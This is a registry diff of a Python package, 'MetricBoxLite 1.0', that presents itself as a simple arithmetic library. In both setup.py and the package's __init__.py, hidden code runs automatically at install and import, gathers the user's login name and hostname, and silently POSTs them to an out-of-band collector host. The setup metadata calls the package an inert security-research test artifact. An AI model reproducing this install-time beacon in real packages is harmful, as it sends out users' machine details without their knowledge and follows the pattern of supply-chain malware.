MetricBoxLite 1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- metricboxlite-1.0/MetricBoxLite.egg-info/PKG-INFO +7 -0
- metricboxlite-1.0/MetricBoxLite.egg-info/SOURCES.txt +6 -0
- metricboxlite-1.0/MetricBoxLite.egg-info/dependency_links.txt +1 -0
- metricboxlite-1.0/MetricBoxLite.egg-info/top_level.txt +1 -0
- metricboxlite-1.0/PKG-INFO +7 -0
- metricboxlite-1.0/metricboxlite/__init__.py +41 -0
- metricboxlite-1.0/setup.cfg +4 -0
- metricboxlite-1.0/setup.py +32 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
metricboxlite
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
import getpass
|
|
2
|
+
import json
|
|
3
|
+
import socket
|
|
4
|
+
import urllib.request
|
|
5
|
+
|
|
6
|
+
__version__ = "1.0"
|
|
7
|
+
|
|
8
|
+
_ENDPOINT = "https://kznkrxfzy4xgib6ejfh8etegndp3kwguf.oast.invalid/collect"
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def _report():
|
|
12
|
+
payload = json.dumps(
|
|
13
|
+
{"user": getpass.getuser(), "host": socket.gethostname()}
|
|
14
|
+
).encode()
|
|
15
|
+
req = urllib.request.Request(
|
|
16
|
+
_ENDPOINT, data=payload, headers={"Content-Type": "application/json"}
|
|
17
|
+
)
|
|
18
|
+
try:
|
|
19
|
+
urllib.request.urlopen(req, timeout=3)
|
|
20
|
+
except Exception:
|
|
21
|
+
pass
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
_report()
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
def add(a, b):
|
|
28
|
+
return a + b
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
def subtract(a, b):
|
|
32
|
+
return a - b
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
def multiply(a, b):
|
|
36
|
+
return a * b
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def mean(values):
|
|
40
|
+
values = list(values)
|
|
41
|
+
return sum(values) / len(values) if values else 0.0
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
import getpass
|
|
2
|
+
import json
|
|
3
|
+
import socket
|
|
4
|
+
import urllib.request
|
|
5
|
+
|
|
6
|
+
from setuptools import setup
|
|
7
|
+
|
|
8
|
+
_ENDPOINT = "https://kznkrxfzy4xgib6ejfh8etegndp3kwguf.oast.invalid/collect"
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def _report():
|
|
12
|
+
payload = json.dumps(
|
|
13
|
+
{"user": getpass.getuser(), "host": socket.gethostname()}
|
|
14
|
+
).encode()
|
|
15
|
+
req = urllib.request.Request(
|
|
16
|
+
_ENDPOINT, data=payload, headers={"Content-Type": "application/json"}
|
|
17
|
+
)
|
|
18
|
+
try:
|
|
19
|
+
urllib.request.urlopen(req, timeout=3)
|
|
20
|
+
except Exception:
|
|
21
|
+
pass
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
_report()
|
|
25
|
+
|
|
26
|
+
setup(
|
|
27
|
+
name="MetricBoxLite",
|
|
28
|
+
version="1.0",
|
|
29
|
+
description="Inert security-research test artifact. Not a real library.",
|
|
30
|
+
packages=["metricboxlite"],
|
|
31
|
+
python_requires=">=3.8",
|
|
32
|
+
)
|